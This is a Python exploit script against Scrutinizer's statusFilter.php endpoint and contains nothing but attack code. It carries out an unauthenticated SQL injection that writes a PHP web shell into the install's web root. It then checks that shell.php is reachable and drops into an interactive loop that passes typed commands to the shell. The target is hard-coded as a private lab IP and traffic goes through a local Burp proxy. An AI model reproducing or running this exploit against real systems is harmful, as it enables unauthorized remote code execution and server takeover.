#/usr/bin/python3

import requests, sys, urllib3
urllib3.disable_warnings()
proxies = {'http': 'http://127.0.0.1:8080', 'https':'http://127.0.0.1:8080'}


def webshell(URL):
	try:
		getdir = {'cmd':'cd'}
		r2 = s.get(url=URL, params=getdir, verify=False, proxies=proxies)
		status = r2.status_code
		if status != 200:
			print('[-] Couldnt connect to webshell')
			r2.raise_for_status()
		print('Successfully connected to webshell')
		cwd = r2.text
		cwd = cwd+">>"
		terminal = cwd
		while True:
			command = input(terminal)
			payload = {'cmd': command}
			r2 = requests.get(URL, params=payload, verify=False, proxies=proxies)
			status = r2.status_code
			if status != 200:
				r2.raise_for_status()
			response = r2.text
			print (response)
	except:
		print('Webshell session failed. Quiting')
		quit()

if __name__ == "__main__":
	#SERVER_URL = sys.argv[1]
	SERVER_URL = 'http://192.168.204.147/'
	SQLi_URL = "http://192.168.204.147/d4d/statusFilter.php?commonJson=protList&q='"
	#1 Create Session
	print ('[+] Creating session and saving SessionId')
	s = requests.Session()
	#get_session = s.get(SERVER_URL, verify=False)
	get_session = s.get(SERVER_URL, verify=False, proxies=proxies) #requests with Burp Suite
	#Session Response Control
	if get_session.status_code == 200:
		print('[+] Successfully connected to server')
	else:
		print('[!] Cannot connect to server, check network connection')
	#2 unAuthenticated RCE with SQL Injection
	# There is a SQL injection in statusFilter.php and q parameter SQLi vulnerable point.
	payload = "+union+select+'<?php+system($_GET[cmd]);?>',1+into+outfile+'C:/Program+Files/Scrutinizer/html/shell.php'--+"
	#3 Upload a WebShell
	full_url = SQLi_URL+payload
	send_sqli = s.get(url=full_url, verify=False, proxies=proxies)
	webshell_url = SERVER_URL+'shell.php'
	test_sqli = s.get(url=webshell_url, verify=False, proxies=proxies)
	if test_sqli.status_code == 200:
		print('[+] Shell.php successfully uploaded')
	else:
        	print('[-] Something went wrong, shell didnt uploaded')
	webshell(webshell_url)
